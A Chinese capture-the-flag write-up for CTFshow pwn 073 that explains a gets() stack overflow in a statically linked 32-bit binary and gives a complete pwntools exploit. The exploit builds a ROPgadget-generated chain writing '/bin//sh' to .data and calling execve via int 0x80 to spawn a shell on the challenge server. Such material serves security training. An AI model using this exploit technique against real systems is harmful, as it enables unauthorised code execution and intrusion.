【CTFshow-pwn系列】03_栈溢出【pwn 073】详解:静态编译下的自动化 ROP 链构建

本文仅用于技术研究,禁止用于非法用途。

Author: 枷锁

在前面的关卡中,我们学习了如何纯手工搜集 Gadgets 并精心构造 Ret2Syscall(pwn 071),也掌握了如何通过两级 ROP 往 BSS 段盲注字符串(pwn 072)。然而,在真实的漏洞利用和高强度的 CTF 比赛中,时间就是生命,能够熟练运用自动化工具是高级 Pwn 手的必备技能。

来到 PWN 073 ,出题人给出的提示是:"愉快的尝试一下一把梭吧! " 同时,程序运行后也会打印出 Try to Show-hand!!。这其实是在疯狂暗示:既然这是一道经典的静态编译题目,我们完全可以借助自动化工具生成整套 ROP 攻击链,感受现代安全工具流的威力。

第一部分:环境侦察与防御边界建模

在漏洞挖掘初期,对目标程序的编译环境和防御机制进行精细的画像至关重要。

1. 检查保护机制 (checksec)

首先,对目标二进制程序进行常规的体检:

复制代码
~/Desktop .............................................................. at 15:50:17
> checksec ./pwn
[*] '/home/shining/Desktop/pwn'
    Arch:       i386-32-little                 <-- 32 位 x86 架构,指针占 4 字节
    RELRO:      Partial RELRO                  <-- GOT 表部分只读,但本题无需改写 GOT
    Stack:      No canary found                <-- 无栈哨兵 (Canary),允许直接进行栈溢出覆盖
    NX:         NX enabled                     <-- 栈不可执行 (No-eXecute),阻断了直接执行栈上 Shellcode 的可能
    PIE:        No PIE (0x8048000)             <-- 位置无关代码未开启,代码段、数据段基址绝对固定
    Stripped:   No                             <-- 包含符号表,方便逆向分析

2. 编译属性与文件结构分析 (file)

确认程序的链接方式是本题的破局点:

复制代码
> file pwn 
pwn: ELF 32-bit LSB executable ... statically linked, for GNU/Linux 2.6.32 ...

深度战术评估:

  • Statically Linked (静态编译) 的两面性
    • 劣势 :程序未动态链接 libc.so,这意味着我们在内存中找不到现成的 system() 函数可以直接调用。
    • 绝对优势 :静态编译会将程序运行所需的底层 C 库(如 printf, read, write 的底层实现)全部打包进主程序中。这导致二进制文件体积变得极其庞大,进而包含了海量的汇编指令片段 (Gadgets)。在 NX 开启且缺乏现成函数时,这片海量的 Gadgets 森林构成了我们构建复杂 ROP 链的绝佳基础。

第二部分:代码审计与漏洞模型建立

1. 静态分析 (IDA Pro)

拖入 IDA 反编译,查看 main 和漏洞函数 show 的执行逻辑:

复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-Ch]

  IO_setvbuf(stdout, 0, 2, 0);
  
  // 这里的 _getegid 和 _setresgid 通常是 CTF 平台用于权限管理的包裹函数,与核心漏洞无关
  v4 = _getegid();
  _setresgid(v4, v4, v4);
  
  show();
  return 0;
}

int show()
{
  _BYTE v1[24]; // [esp+0h] [ebp-18h] BYREF

  IO_puts("Try to Show-hand!!");
  // 【致命漏洞】:不设防的 gets 函数
  return IO_gets(v1);
}

2. 漏洞建模与栈内存可视化

漏洞点非常清晰:show() 函数内部使用了臭名昭著的 gets() 函数来接收用户输入。gets() 完全不检查缓冲区的边界,直到遇到换行符 \n 才会停止,这导致了无限制的栈溢出。

精准计算溢出偏移 (Offset): 通过汇编视角的栈帧布局,我们可以清晰地计算出劫持 EIP(指令寄存器)所需的 Padding 长度:

复制代码
栈增长方向 (低地址) --->
+--------------------+ <--- v1 数组起始位置 (ESP)
|                    |
|   v1 [24 Bytes]    | (0x18 字节的局部变量缓冲区)
|                    |
+--------------------+ <--- EBP
|   Saved EBP        | (4 Bytes,保存调用者的栈底指针)
+--------------------+ 
|   Return Address   | (4 Bytes,我们要劫持的目标 EIP)
+--------------------+
<--- 高地址

结论: 要精确覆盖到返回地址,我们需要填充的垃圾数据长度为:24 (缓冲区) + 4 (Saved EBP) = 28 字节。

第三部分:破局思路:"一把梭"的工程化利用

如果采用纯手工构造,我们需要像前几关那样:寻找 read 调用 -> 向 .bss 段写入 /bin/sh -> 寻找控制 eax, ebx, ecx, edx 的 gadgets -> 触发 execve。这个过程繁琐且极易出错。

在现代安全工程中,对于静态编译不缺 Gadgets 的二进制文件,业界首选的解法是自动化生成。我们可以利用 ROPgadget 自带的 --ropchain 参数引擎,让工具自动运用图论和路径搜索算法,帮我们拼装出一套无需外部交互即可在内存中凭空造出 Shell 的 Python ROP 链。

1. 自动化 ROP 生成引擎的底层逻辑解构

在终端中执行一键生成命令:

复制代码
> ROPgadget --binary pwn --ropchain

等待片刻,工具会输出它构建攻击链的 5 个缜密步骤。为了知其然且知其所以然,我们对其底层战术进行深度剖析:

  • Step 1 -- Write-what-where gadgets (任意地址写原语)
    • 目标 :在内存中找一块空地写下 /bin/sh\x00 字符串。
    • 工具解法 :它没有去调用复杂的 read 函数,而是找到了内存指令 mov dword ptr [edx], eax ; ret
    • 战术意义 :这是一种纯硬件级的内存赋值。只要我们将目标地址(如具有可读写权限的 .data0x080ea060)通过 pop 放入 EDX,将字符串分段(/bin//sh)通过 pop 放入 EAX,就能像搭积木一样,在不触发任何系统调用的情况下,将恶意字符串悄无声息地刻印在 .data 段。
  • Step 2 -- Init syscall number gadgets (系统调用号初始化)
    • 目标 :将 execve 的系统调用号 11 (0xb) 放入 EAX 寄存器。
    • 工具解法 :令人惊叹的是,工具并没有寻找直接的 pop eax ; ret(可能因为在特定上下文中会破坏其他寄存器状态),而是采用了极其稳定的累加法:
      1. 调用 xor eax, eax ; ret,利用异或自身将 EAX 绝对清零。
      2. 连续调用 11 次 inc eax ; ret(自增指令),硬生生把 EAX 拨到了 11。这种做法虽然代码变长了,但规避了大量不可预测的寄存器副作用。
  • Step 3 -- Init syscall arguments gadgets (参数初始化)
    • 目标 :按照 Linux 32 位 syscall 约定,准备 execve 的后三个参数。
    • 工具解法 :通过 pop 指令链,将刚才写入 .data 段的字符串地址(0x080ea060)放入 EBXfilename);将 ECXEDX 分别赋值为 NULL (指向空数据的地址或直接清零,代表 argvenvp 为空)。
  • Step 4 -- Syscall gadget (触发执行)
    • 目标:扣动扳机。
    • 工具解法 :寻找 int 0x80 汇编片段,引发内核态中断,移交控制权。
  • Step 5 -- Build the ROP chain
    • 将上述所有汇编指令的绝对地址打包,生成结构化的 Python 数组。

第四部分:实战 EXP 编写与逻辑解构

原生的 ROPgadget 脚本使用的是较老的 struct.pack 语法,为了体现现代 Pwn 手的优雅,我们将其转化为 pwntools 原生的 p32() 格式,并利用 Python 的乘法语法对长串重复指令进行极简压缩。

复制代码
from pwn import *

# 1. 基础配置
context(arch='i386', os='linux', log_level='debug')

# 2. 建立连接
# io = process("./pwn")
io = remote("pwn.challenge.ctf.show", 28202) # 请根据实际靶场更新端口

# 3. 填充溢出垫片
# 覆盖 24 字节的缓冲区 + 4 字节的 Saved EBP,直抵返回地址
p = cyclic(0x18 + 4)

# 4. 融合 ROPgadget 自动生成的攻击链 (转化为更优雅的 pwntools 风格)

# --- [1] 向 .data 段写入 '/bin' ---
p += p32(0x0806f02a) # pop edx ; ret
p += p32(0x080ea060) # @ .data 的起始地址
p += p32(0x080b81c6) # pop eax ; ret
p += b'/bin'         # 存入 eax
p += p32(0x080549db) # mov dword ptr [edx], eax ; ret (此时 '/bin' 被写入 .data)

# --- [2] 向 .data + 4 段写入 '//sh' ---
# 使用 '//sh' 是为了凑齐 4 字节边界,在 Linux 路径中 // 等同于 /
p += p32(0x0806f02a) # pop edx ; ret
p += p32(0x080ea064) # @ .data + 4
p += p32(0x080b81c6) # pop eax ; ret
p += b'//sh'         # 存入 eax
p += p32(0x080549db) # mov dword ptr [edx], eax ; ret (此时 '//sh' 被写入 .data+4)

# --- [3] 向 .data + 8 写入 NULL (截断符) ---
p += p32(0x0806f02a) # pop edx ; ret
p += p32(0x080ea068) # @ .data + 8
p += p32(0x08049303) # xor eax, eax ; ret (eax 清零)
p += p32(0x080549db) # mov dword ptr [edx], eax ; ret (此时 .data 形成了 "/bin//sh\x00")

# --- [4] 准备 execve 传入的三个参数 ---
p += p32(0x080481c9) # pop ebx ; ret
p += p32(0x080ea060) # @ .data (EBX 指向 "/bin//sh")
p += p32(0x080de955) # pop ecx ; ret
p += p32(0x080ea068) # @ .data + 8 (ECX = NULL)
p += p32(0x0806f02a) # pop edx ; ret
p += p32(0x080ea068) # @ .data + 8 (EDX = NULL)

# --- [5] 设置 EAX 为 0xb 并触发系统调用 ---
p += p32(0x08049303) # xor eax, eax ; ret (EAX 归零)
# Pythonic 优化:连续调用 11 次 inc eax,使 EAX 等于 11 (0xb)
p += p32(0x0807a86f) * 11 

p += p32(0x0806cc25) # int 0x80 (执行 execve)

# 5. 发送载荷,接管系统
log.info("[*] 发射自动生成的 ROP 链...")
io.sendline(p)

log.success("[+] Pwned! 享受 'Show-hand' 带来的喜悦吧!")
io.interactive()

第五部分:底层原理复盘与总结

1. 为什么不用 Read 函数也能写入字符串?

在 pwn 072 中,我们需要借助外部交互来发送字符串。而 ROPgadget 使用的是利用程序内部天然存在的 mov dword ptr [reg], reg(寄存器寻址赋值)指令。这种方式把我们要写入的字符串通过多次栈上的 pop 操作"硬编码"进了 ROP 链中,然后直接搬运到 .data 段,大大增强了利用代码的独立性和隐蔽性。

2. 自动化的双刃剑

虽然 ROPgadget --ropchain 能够帮我们秒杀类似的静态编译题目,但在现阶段的学习中,强烈建议大家一定要仔细去读懂工具生成出的 Python 脚本,弄明白它是如何分步骤解决**"任意地址写""寄存器布局"**这两大难题的。工具只是延伸你的手脚,你的大脑才是最核心的安全引擎。

宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!

1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。

2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。

3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。

4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。

5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。

6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。

7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:

✅ 先授权,再测试

✅ 只针对自己拥有或有权测试的系统

✅ 发现漏洞后,及时报告并协助修复

✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

相关推荐
dog2501 小时前
圆锥曲线与丹德林内切球
网络·php
VBsemi-专注于MOSFET研发定制1 小时前
面向高可靠与能效需求的安全存储系统功率器件选型策略与适配手册
安全
xixixi777771 小时前
AI安全周记:AI驱动攻击占比50%、PQC国标落地、ShinyHunters连环袭击——面对1:25的攻防成本鸿沟,防守方还能撑多久?
人工智能·安全·ai·大模型·aigc·量子计算·供应链
你数过天上的星星吗1 小时前
Python学习笔记二(函数、类与对象)
笔记·python·学习
智擎软件测评小祺1 小时前
什么是非功能检测?筑牢软件性能与安全的基石
功能测试·安全·检测·cma·第三方检测·cnas·非功能检测
jinanwuhuaguo2 小时前
OpenClaw执行奇点——因果链折叠与责任悬置的时间哲学(第十九篇)
前端·人工智能·安全·重构·openclaw
Dola_Zou2 小时前
高端医疗设备软件的数字安全与授权演进
安全·健康医疗·软件加密
Titan20242 小时前
C++11学习笔记
c++·笔记·学习
寒秋花开曾相惜2 小时前
(学习笔记)4.2 逻辑设计和硬件控制语言HCL(4.2.3 字级的组合电路和HCL整数表达式)
android·网络·数据结构·笔记·学习